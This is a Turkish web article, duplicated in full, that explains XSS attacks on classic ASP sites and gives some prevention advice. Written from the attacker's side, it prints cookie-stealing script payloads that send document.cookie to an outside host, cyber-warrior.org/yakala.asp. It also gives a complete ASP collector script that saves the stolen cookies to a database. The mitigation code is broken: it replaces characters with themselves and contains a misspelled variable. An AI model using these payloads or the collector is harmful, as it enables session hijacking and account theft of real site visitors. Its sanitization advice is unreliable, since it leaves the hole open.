XSS Açıkları ve Korunma Yöntemleri
XSS Açıkları Request ile kullanıcıdan alınan verilerin sayfa içinde Yazdırılması ile oluşur. Örneğin QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri.
hedefsite/Default.Asp?Page=1 yada
hedefsite/Product.Asp?id=1
hedefsite/Default.Asp?Kategori=Haber gibi.
Örnek XSS Açığı ile Ne yapılabilir :
Yukardaki örnekler gibi açığımızı buluyoruz yada hedef sitede Webservis sayaç kodunun olması yeterli.
Açığımızı bulduktan sonra kullanıcının Cookie'sini JavaScript (document.cookie) ile okuyup istediğimiz bir adresteki veri tabanına kayıt ediyoruz yada kendimize mail atıyoruz.
-------------------------
hedefsite.com/Default.Asp?Page=2"><SCRIPT>location.href='http://www.cyber-warrior.org/yakala.asp?X='+escape(document.cookie)</SCRIPT>
-------------------------
Saldırgan Url’nin sonuna "> Eklentisi ile Inputların sonlandırılmasını ve bundan sonra eklenen zararlı kodları Explorer’ın icra etmesini sağlar.
Bu Link’e tıklayan kullanıcının Cookie’si Belirtilen Kaynağa Post edilir.
Yada : Hedef sitede yazdığınız mesajı gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama
----------------------------
<script>document.location='http://www.cyber-warrior.org/yakala.asp?X=' +document.cookie</script>
----------------------------
Bu kod ilgili sayfada görüntülendiği anda sayfayı görüntüleyen kullanıcıların cookielerini alarak yakala.asp dosyasına veri tabanına kaydetmesi için gönderir.
Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açığı Oluşuyor.
WebServis Tarafından verilen ve Sitenize eklediğiniz;
------------------------------------
<script language="javascript"> var wuser="CWDoktoray", wbanner=11;</script>
<script language="javascript" src= "a target=_blank href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------
XSS Açıklarını Engellemek için:
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde temizleyin
Ve Request verilerini alırken mutlaka tam sayıya çevirin
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
---------------------------------------------------
ASP.NET ’de
web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ "
gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz
IPS Kullanıyor iseniz
Yeni imza yaratıp
Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...
----------------------------------------------------------------------------------
Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanına kaydetmek için
Örnek Basit bir ASP Dosyası
X = Request.QueryString("X") Yerine
Veri URL’den geleceği için
X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz.
"Yakala.mdb" adında bir database oluşturun "tblYakala" adında bir tablo ve "Sayfa" Adında (alan tipi Not) Oalcak şekilde Tasarlayın
--------------------Yakala.Asp-----------------------------------
<%
Dim X
X = Request.QueryString("X")
%>
<%
Dim ConnString,bag
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";"
set bag = Server.CreateObject("ADODB.Connection")
bag.Open ConnString
%>
<%
Dim SQL,Rs
Set Rs=Server.CreateObject("ADODB.Recordset")
SQL="Select * From tblYakala"
Rs.Open SQL,ConnString,1,3
End iF
%>
<%
Rs.AddNew
Rs("Sayfa")=X
Rs.Update
Rs.Close
%>
----------------------------------------------------------------------------------
Cyber-Security.Org / CWDoktoray
hedefsite/Default.Asp?Page=1 yada
hedefsite/Product.Asp?id=1
hedefsite/Default.Asp?Kategori=Haber gibi.
Örnek XSS Açığı ile Ne yapılabilir :
Yukardaki örnekler gibi açığımızı buluyoruz yada hedef sitede Webservis sayaç kodunun olması yeterli.
Açığımızı bulduktan sonra kullanıcının Cookie'sini JavaScript (document.cookie) ile okuyup istediğimiz bir adresteki veri tabanına kayıt ediyoruz yada kendimize mail atıyoruz.
-------------------------
hedefsite.com/Default.Asp?Page=2"><SCRIPT>location.href='http://www.cyber-warrior.org/yakala.asp?X='+escape(document.cookie)</SCRIPT>
-------------------------
Saldırgan Url’nin sonuna "> Eklentisi ile Inputların sonlandırılmasını ve bundan sonra eklenen zararlı kodları Explorer’ın icra etmesini sağlar.
Bu Link’e tıklayan kullanıcının Cookie’si Belirtilen Kaynağa Post edilir.
Yada : Hedef sitede yazdığınız mesajı gösterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama
----------------------------
<script>document.location='http://www.cyber-warrior.org/yakala.asp?X=' +document.cookie</script>
----------------------------
Bu kod ilgili sayfada görüntülendiği anda sayfayı görüntüleyen kullanıcıların cookielerini alarak yakala.asp dosyasına veri tabanına kaydetmesi için gönderir.
Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açığı Oluşuyor.
WebServis Tarafından verilen ve Sitenize eklediğiniz;
------------------------------------
<script language="javascript"> var wuser="CWDoktoray", wbanner=11;</script>
<script language="javascript" src= "a target=_blank href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------
XSS Açıklarını Engellemek için:
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde temizleyin
Ve Request verilerini alırken mutlaka tam sayıya çevirin
Recid = CInt(Trim(Server.HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
---------------------------------------------------
ASP.NET ’de
web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ "
gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz
<System.Web>
<Pages validateRequest="True"></Pages>
</System.Web>
IPS Kullanıyor iseniz
Yeni imza yaratıp
Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz...
----------------------------------------------------------------------------------
Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanına kaydetmek için
Örnek Basit bir ASP Dosyası
X = Request.QueryString("X") Yerine
Veri URL’den geleceği için
X = Request.ServerVariables("HTTP_REFERER") de Kullanabilirsiniz.
"Yakala.mdb" adında bir database oluşturun "tblYakala" adında bir tablo ve "Sayfa" Adında (alan tipi Not) Oalcak şekilde Tasarlayın
--------------------Yakala.Asp-----------------------------------
<%
Dim X
X = Request.QueryString("X")
%>
<%
Dim ConnString,bag
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & server.mappath("Yakala.mdb") & ";"
set bag = Server.CreateObject("ADODB.Connection")
bag.Open ConnString
%>
<%
Dim SQL,Rs
Set Rs=Server.CreateObject("ADODB.Recordset")
SQL="Select * From tblYakala"
Rs.Open SQL,ConnString,1,3
End iF
%>
<%
Rs.AddNew
Rs("Sayfa")=X
Rs.Update
Rs.Close
%>
----------------------------------------------------------------------------------
Cyber-Security.Org / CWDoktoray
Konular
- Microsoft bulutların üzerinde
- Facebook Sizce Ne Kadar Ediyor?
- "Aveamüzik Radyo" ile tüm radyolar tek frekansta
- Chat yapanlar, bu solucana dikkat!
- Google Voice Skype'a rakip oldu
- Dünyanın en hızlı işlemcisi
- Bilgisayarınız savunmasız kalmasın
- Google'a ağır suçlama
- Türkiye'nin 'duygusal' sosyal ağı açıldı!
- New York Times internet gazetesi olacak
- Active@ Kill Disk hakkında bilgi
- Dizüstü bilgisayardaki tehlike
- İnternette Avrupa'ya yetişemiyoruz!
- Twitter'ın CEO'su koltuğu devretti
- Medeniyet ekrana kayıyor
- Windows vista ve windows 7 de 0xc000000f \Boot\Bcd hatası
- Yeni sabit disklerde bölüm hizalarına dikkat
- Masa başı işlerde ölüm riski yüksek
- CSS Nedir ?
- CSS Giriş
- CSS de Metin Biçimi
- CSS ile Font Biçimi
- CSS ile Arkaplan Biçimi
- CSS de Sınır Çizgisi
- CSS ile Dış Kenar Boşluğu
- CSS de İç Kenar Boşluğu
- CSS de Listeleme
- CSS ile Konumlandırma
- CSS de Fare İmleci
- CSS Çeşitleri nelerdir